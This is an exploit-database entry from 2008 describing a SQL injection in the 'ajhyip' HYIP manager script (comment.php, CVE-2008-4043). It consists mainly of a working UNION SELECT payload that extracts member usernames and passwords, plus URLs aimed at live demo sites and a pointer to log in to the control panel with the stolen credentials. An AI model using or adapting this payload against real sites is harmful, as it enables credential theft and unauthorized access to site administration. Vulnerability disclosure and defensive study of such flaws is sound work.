Exploit AJ HYIP ACME - 'comment.php' SQL Injection

[Exploiter]

EDB-ID

6350

Проверка EDB

1. Пройдено

Автор

SECURITY FEARS TEAM

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-4043

Дата публикации

2008-09-02

#################################################################################################
####################################  proud to be muslim   ######################################
###                                                                                           ###
###                            rEm0te sql injction VulnErability                              ###
###                                                                                           ###
###                                (ajhyip manager script)                                ###
###                                                                                           ###
#################################################################################################
#################################################################################################
###                                                                                           ###
### AuTh0r : security fears team                                                              ###
###                                                                                           ###
### Home   : WwW.alsonaa.com                                                                  ###
###                                                                                           ###    
### members: HeB4RieH , germaya_x                                                             ###
###                                                                                           ###
#################################################################################################
#################################################################################################
###                                                                                           ###
### Script Name : ajhyip                                                                      ###
###                                                                                           ###
### download    : http://www.ajhyip.com/                                                      ###
###                                                                                           ###
### Email       : [email protected]                                                    ###
#################################################################################################
#################################################################################################
###                                                                                           ###
### d0rk ::  "use your mind"                                                                  ###
### (you can log to control panel from http://site.com login.php)                             ###
###                                                                                           ###
### -(:: sql Code ::)-                                                                        ###
###        comment.php?artid=(sql)                                                            ###
###(sql)=5+union+select+1,concat_ws(0x3a3a,username,password),3,4,5,6,7,8,9+from+members/*    ###               
###                                                                                           ###
#################################################################################################
###                                                                                           ###
### -(::  l!ve demo ::)-                                                                      ###
###                                                                                           ###
###http://www.ajhyip.com/demo/prime/article/comment.php?artid=5+union+select+1,2,3,4,concat_ws(0x3a3a,username,password),6,7,8,9+from+members/*
###                                                                                           ###
###http://www.ajhyip.com/demo/acme/article/comment.php?artid=5+union+select+1,2,3,4,concat_ws(0x3a3a,username,password),6,7,8,9+from+members/*              
########################                                                    #####################
########################                                                    #####################
#################################################################################################
#################################################################################################
                                   -(:: !GreTzZ! ::)-
 ::SnIpEr.KiLLeR::fa6al error::black cheetah::members of alsonaa.com::str0ke::MusliMs HaCkErs:: 
#################################################################################################
#################################################################################################

# milw0rm.com [2008-09-02]